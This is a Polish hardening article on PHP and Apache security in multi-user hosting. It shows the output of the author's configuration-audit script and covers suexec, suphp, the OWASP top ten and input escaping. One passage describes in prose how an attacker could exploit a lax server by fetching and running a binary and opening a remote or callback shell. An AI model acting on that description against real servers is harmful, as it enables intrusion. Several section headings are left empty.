Mój inny prosty skrypt o podobnym zastosowaniu to phenetrate.php, który w przejrzysty sposób wyświetla kluczowe z punktu widzenia bezpieczeństwa systemu ustawienia PHP: interfejs SAPI, open_basedir, safe_mode, allow_url_fopen, phpinfo(), ini_get_all(), wyświetla dostępny fragment systemu plików itp. ini_get_all() jest funkcją, która pojawiła się w wersji 4.2 PHP. Kilka informacji, które skrypt wyświetla, pozwalają bardzo szybko ocenić stopień zabezpieczenia serwera www.

Część informacji podanych przez Phenetrate
System: Linux xxxxx 2.4.28-grsec #2 SMP wto lis 30 00:33:29 CET 2004 i686
UID właściciela skryptu: 1132
Właściciel skryptu: jkowalski
Interfejs SAPI: apache
Ścieżka skryptu: /home/httpd/exampla.org/users/jkowalski/html/phenetrate.php
open_basedir: 
safe_mode: 0
safe_mode_exec_dir: 
Dodatkowe pliki inicjalizacyjne:
Działające moduły: yp, xmlrpc, xml, wddx, tokenizer, sysvshm, sysvsem, sysvmsg,
standard, sockets, shmop, session, posix, pcre, overload, mime_magic, mbstring,
iconv, gettext, ftp, filepro, exif, dbx, dba, ctype, calendar, bz2, bcmath,
zlib, openssl, apache, mysql, gd
...
allow_url_fopen 1 1
register_globals 1 1
...

/etc
drwxr-xr-x 26     0     0      4096 2004-12-18 20:22 .
drwxr-xr-x 18     0     0      4096 2004-08-10 16:28 ..
-rw-r--r--  1     0     0     17631 2004-12-18 20:22 passwd
-rw-r--r--  1     0     0       380 2003-03-26 02:45 csh.cshrc
-rw-r--r--  1     0     0       443 2003-03-26 02:45 csh.login
-rw-r--r--  1     0     0        46 2003-03-26 02:45 filesystems
-rw-r--r--  1     0     0      4247 2004-12-18 20:22 group
-rw-r--r--  1     0     0        17 2003-03-26 02:45 host.conf
-rw-r--r--  1     0     0       161 2003-03-26 02:45 hosts.allow
-rw-r--r--  1     0     0       347 2003-03-26 02:45 hosts.deny

Z powyższych danych możemy odczytać natychmiast, że na tym serwerze PHP działa jako moduł Apache, nie ma ograniczenia open_basedir, jest wyłączony safe_mode, i włączony allow_url_fopen. Bez dalszego zagłębiania się w szczegóły konfiguracji, można stwierdzić od razu, że bezpieczeństwo takiego serwera stoi na bardzo niskim poziomie. Za pomocą Phenetrate cracker mógłby podać adres swojego kodu, który ma zostać uruchomiony. Mógłby to być skrypt, który ściągnie przygotowany przez niego program wykonywalny i uruchomi go z prawami serwera. Program uruchomiłby serwer zdalnej powłoki na znanym crackerowi porcie lub, jeśli zabraniałby tego firewall, dał mu dostęp na zasadzie callback. Po zalogowaniu się, cracker mógłby także podłączyć się do procesów serwera przez ptrace(2), aby mieć nad nimi kontrolę.

PHP - moduł czy CGI?

Obsługę PHP w serwerze WWW można mieć włączoną na dwa sposoby - jako program CGI lub jako moduł Apache'a. Wybór to próba znalezienia kompromisu między wydajnością a bezpieczeństwem. W pierwszym przypadku możemy łatwo sprawić, by skrypty działały z prawami użytkowników (bardzo pożądane!), ale za cenę dużo mniejszej wydajności niż w przypadku modułu PHP, gdzie każdy skrypt działa na tych samych prawach. Na bardzo obciążonych serwerach (tysiące kont użytkowników, mnóstwo połączeń w ciągu minuty) każdorazowe uruchamianie PHP jako CGI jest praktycznie wykluczone - ciągłe uruchamianie tylu nowych procesów oraz brak możliwości wykorzystania trwających połączeń z bazami powoduje taki narzut, że prowadzi do przeciężenia nawet bardzo mocnego serwera.

Nic nie stoi na przeszkodzie, by mieć zainstalowane PHP na dwa sposoby - moduł i CGI. Osobny interpreter PHP może się przydać do wielu zastosowań, a strony z PHP będzie można obydwiema metodami - w sytuacji, gdy strona tworzy pliki (np. sesji) warto użyć CGI, by zapobiec problemom z prawami dostępu. Gdy korzystamy z modułu, zaszyfrujmy kod PHP i ograniczmy użytkowników open_basedir.

Środowiska multihostingowe a moduły

Zawsze, gdy w środowisku multihostingowym są używane moduły języków skryptowych (mod_perl, mod_python, mod_php) roszerzające funkcjonalność oferowaną klientom, bezpieczeństwo serwera stoi pod dużym znakiem zapytania, jeśli nie mamy kompletnego zaufania do użytkowników. W szczególności dotyczy to mod_perl i mod_python, w których nie ma dodatkowych mechanizmów wprowadzających restrykcje na skrypty, a taką rolę pełni tryb bezpieczny i open_basedir w PHP. Zostało to szczegółowo opisane w artykule z numeru 62 magazynu Phrack.

Wspomniane języki są na tyle elastyczne, że pozwalają użytkownikowi przejąć kontrolę nad dowolnym procesem, jeżeli pozwala mu na to jego identyfikator skuteczny. Atakujący, który posłużył się mechanizmem dynamicznego wczytywania kodu z bibliotek dzielonych (dl(), DynaLoader::), może dowolnie zmienić każdy obszar pamięci serwera, modyfikować wirtualne hosty, zmieniać ich konfigurację, odczytywać poufne pliki, stosować phishing itd.


Różne rozwiązania...

suexec

Model bezpieczeństwa suexec jest jednym ze standardowych mechanizmów dostępnych w serwerze Apache. suexec to program instalowany z bitem suid, który jest wywoływany przez nieuprzywilejowany proces serwera do realizacji zapytania związanego z CGI lub SSI. suexec sprawdza spełnienie szeregu warunków, które ustalamy w czasie kompilacji serwera, aby ustalić, czy należy dopuścić do uruchomienia programu ze zmienionym identyfikatorem skutecznym. Niektórzy administratorzy modyfikują jego kod, tak aby wszystkie skrypty PHP (rozpoznawane po rozszerzeniu pliku) były opakowywane przez wrapper, więc wykonywane z uprawnieniami odpowiedniego użytkownika. Jeśli się na to decydujemy, koniecznie bierzmy pod uwagę wszystkie zasady bezpiecznego programowania w systemie UNIX.

Podstawowym problemem związanym z korzystaniem z suexec jest znaczny spadek wydajności. Skrypty uruchamiane jako CGI (w przeciwieństwie interpretowania przez moduł Apache) powodują znaczne obciążenie serwera. Jest to spowodowane koniecznością ciągłego uruchamiania nowych procesów dla każdego zapytania o PHP. Oprócz tego uniemożliwia to korzystanie z trwałych połączeń z bazami danych.

Możemy wyodrębnić cztery źródła, którymi może przebiegać przepływ sterowania, modyfikowalny przez użytkownika serwera:

Zależność między nimi oraz rolę suexec przedstawia poniższy diagram.

Diagram stanów procesu serwera Apache

fastcgi

suphp

Moduł Apache, dzięki któremu skrypty PHP mogą być wykonywane z prawami użytkownika, będącego właścicielem skryptu. Składa się z właściwego modułu (mod_suphp) oraz wykonywalnego programu z bitem suid, odpowiedzialnego za wywoływanie interpretera po uprzedniej zmianie skutecznego identyfikatora użytkownika. Łatwo zauważyć, że jest to bardzo podobne do samego suexec. Administrator serwera mógłby narzucić użytkownikom, aby ich skrypty PHP pracowały jako CGI (i tylko tak), aby skorzystać z suexec. Administrator mógłby także zmodyfikować kod suexec tak, aby każdy plik *.php mógł być wykonany przez suexec - przez wywołanie interpretera. Właśnie taką sytuację można też osiągnąć dzięki suphp. Z suphp wiąże się więc podstawowy mankament suexec: bardzo duży wzrost obciążenia serwera, gdy skrypty nie są interpretowane wewnętrznie przez moduł Apache ale każdorazowo przez wywołanie zewnętrznego procesu interpretera.

metux mpm

cgid

mod_diffprivs

mod_fcgid

mod_cgiwrap

mod_security


Dziesięć najczęstszych zagrożeń

Organizacja OWASP (The Open Web Application Security Project), zajmująca się bezpieczeństwem informacji, przygotowała biuletyn z najbardziej powszechnym wg niej lukami w aplikacjach typu Web.

Zgodnie z biuletynem dziesięć najczęstszych błędów to kolejno:

  1. Brak kontroli danych wejściowych
  2. Zepsuty system kontroli dostępu
  3. Zepsuty system uwierzytelniania oraz zarządzania sesją
  4. Wady Cross Site Scripting (XSS)
  5. Błędy przepełnienia bufora
  6. Wady wstrzyknięcia kodu
  7. Niebezpieczna obsługa błędów
  8. Niebezpieczne przechowywanie danych
  9. Podatność na ataki DoS
  10. Niebezpieczne zarządanie konfiguracją

Jeszcze nieuporządkowane...

Należy traktować bardzo ostrożnie wszelkie dane pochodzące od użytkownika - mogą tam być nielegalne znaki, lub takie, które trzeba koniecznie zastąpić sekwencjami unikowymi. Należy o tym szczególnie pamiętać przy wywoływaniu poleceń systemowych ze skryptów z argumentami, pochodzącymi od użytkownika. Mogą one spowodować wykonanie czegoś niezamierzonego przez powlokę. Skorzystaj z gotowych i sprawdzonych funkcji [htmlentities, htmlspecialchars, escapeshellarg, mysql_escape_string]. To samo dotyczy dołączania kodu z plików, których nazwa jest w zmiennej include($strona . ".php") lub prób manipulacji zapytaniami baz danych (np. SQL Injection). Gdy wyświetlasz dane z nagłówków HTTP, pamiętaj, że nawet one mogły być specjalnie przygotowane przez użytkownika. Nie można wyświetlać na stronie danych pochodzących od użytkownika z zapytania metodą GET. Grozi to podatnością na ataki Cross Site Scripting. Atakujący mógłby poprzez przygotowanie odpowiednio zbudowanego (i zaciemnionego) adresu na serwerze manipulować zawartością, która jest wyświetlana odwiedzającym. Mógłby także wykonać kod po stronie klienta, wykraść plik ciasteczka dla Twojego serwera lub poznać identyfikator sesji.

Warto rozważyć możliwość szyfrowania swoich skryptów PHP. Istnieje wiele ,,kompilatorów'' kodu dla PHP. Jednym z darmowych jest Turck MMCache. Po pierwsze znacznie poprawi to wydajność. Po drugie atakujący, który mógłby uzyskać dostęp do kodu skryptów (np. z ewentualnymi hasłami), zdobędzie jedynie zakodowaną zawartość. Są w prawdzie możliwe próby ,,inżynierii wstecz'', ale w praktyce jest to złożony proces deasemblacji, więc zyskuje się kolejny poziom zabezpieczenia. Jeżeli cracker naprawdę zdecyduje się przeprowadzić atak, używając tej metody, to jednym z narzędzi, którymi może się posłużyć jest Vulcan Logic Disassembler, lub debuggery PHP: Advanced PHP Debugger, DBG.








Odnośniki


Copyright © Robert Nowotniak
5 grudnia 2004